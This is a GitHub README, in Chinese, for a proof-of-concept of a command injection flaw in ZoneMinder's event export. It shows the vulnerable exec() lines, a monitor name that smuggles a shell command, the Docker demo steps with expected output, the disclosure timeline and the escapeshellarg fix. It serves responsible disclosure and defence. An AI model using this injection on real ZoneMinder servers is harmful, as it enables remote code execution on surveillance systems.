investigato/zoneminder-rce-poc

GitHub: investigato/zoneminder-rce-poc

ZoneMinder 视频监控系统事件导出功能中 OS 命令注入漏洞的完整概念验证项目,演示了通过恶意监视器名称实现远程代码执行。

Stars: 1 | Forks: 0

# 拭目以待 ZoneMinder 事件导出功能(`web/includes/download_functions.php`)中 OS 命令注入漏洞的概念验证。 监视器名称通过手动单引号包裹的方式直接插入到 shell 命令中,而不是使用 `escapeshellarg()`。能够创建监视器的攻击者可以注入任意 shell 命令,当任何用户触发事件导出时,这些命令将以 `www-data` 用户(或运行该进程的任何用户)的权限执行。 ## 根本原因 - 2023 年 10 月 4 日的提交 `44c5c3c`:这是引入 `download_functions.php` 文件的地方。提交信息为“引入新的下载模式,将每个监视器的事件视频合并为一个文件”。漏洞代码存在于此次提交中,但需要管理员先创建监视器。 - 2024 年 1 月 2 日的提交 `2d49e93`:“为监视器引入创建权限,以便特定用户可以编辑现有监视器,但不能创建新监视器。”情况在此发生了一些变化。现在,仅具有 `Monitors=Create` 权限的用户即可设置用于攻击的监视器名称,而任何具有导出权限的用户都可以触发它。 受影响版本:>= 1.37.48(包含 SQL 迁移更改)且 <= 1.38.1 1.36.x 分支不受影响。 ## 工作原理 两个用户。两种权限级别。一个 shell。 - **medpriv** 具有创建监视器的权限(`Monitors=Create`),如果已有监视器存在,则具有编辑权限(`Monitors=Edit`)。 - **lowpriv** 仅具有触发事件导出的最低权限。在不知情的情况下扣动扳机。 事件记录无需手动创建。ZoneMinder 是一个摄像头系统……它会在摄像头运行时自动创建事件记录。在实际部署中,设置步骤是:创建监视器,然后离开。 ## 两个接收点,一个来源 未经处理的监视器名称会传递给两个独立的 `exec()` 调用: **第 126 行 | ffmpeg:** ``` $cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1'; exec($cmd, $output, $return); ``` **第 150 行 | tar/zip:** ``` $command .= ' \''.$mergedFileName.'\''; if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false; ``` 无论使用何种导出格式,都可以通过同一个精心构造的监视器名称到达这两处代码。 ### 前置条件 - Docker - Docker Compose ### 用法 ``` git clone https://github.com/investigato/zoneminder-rce-poc.git cd zoneminder-rce-poc docker compose up -d # 等待 ZoneMinder 完成初始化(约30秒) uv run poc.py ``` `init.sql` 在启用了身份验证的数据库中初始化了两个用户: - `medpriv`:拥有创建监视器的权限(出于演示效率的考虑,也赋予了创建事件的权限,但这在生产环境中不是必须的) - `lowpriv`:仅拥有事件导出权限 `uv run poc.py` 运行完整的攻击链: 1. `medpriv` 通过 API 进行身份验证,并创建一个名为 `poc'; touch /tmp/pwned; echo '` 的监视器 2. `medpriv` 创建一个事件记录以加快演示速度(在生产环境中,ZoneMinder 会自动执行此操作) 3. `lowpriv` 进行身份验证并触发事件导出 4. 脚本检查容器内的 `/tmp/pwned` 并打印结果 预期输出: ``` Login: 200 Token: ok Create monitor: 200 — {"message":"Saved"} Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '" Create event: 200 Event ID=1 Login: 200 Token: ok Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""} Deleted event 1 Deleted monitor 1 Did it work? running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created Success! Command injection worked, /tmp/pwned was created inside the container. -rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned ``` ### CVSS **8.4 (高危)**:`AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H` 我们可以争论是 `PR:L` 还是 `PR:R`,但无论如何,这都是一个广泛使用的开源项目中的高危远程代码执行漏洞。攻击面相当广泛,而且触发漏洞的用户与设置监视器名称的用户可以不同,这一事实为漏洞的可利用性增加了有趣的变数。如果我们采用 `PR:L`,评分将达到 9.0(严重)。 无论如何,最起码使用 `escapeshellarg()` 都没有任何成本。 ### 披露 - 03/08/2026:通过 ZoneMinder 的安全联系邮箱报告 - 03/09/2026:在提交 `b3a7c05` 中修复 - 06/08/2026:公开披露 ### 修复 至少在两个注入点应用 `escapeshellarg()`: ``` // Line 126 $cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1'; // Line 150 $command .= ' '.escapeshellarg($mergedFileName); ``` `generateFileList()` 中的第 116 行和 211 行具有相同的模式。 *发现者 ([@investigato](https://github.com/investigato))* *完整分析:[scriptkittens.com](https://www.scriptkittens.com/blog/two-sinks-one-shell)*
标签:Go语言工具, PoC, ZoneMinder, 命令注入, 多线程, 暴力破解, 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具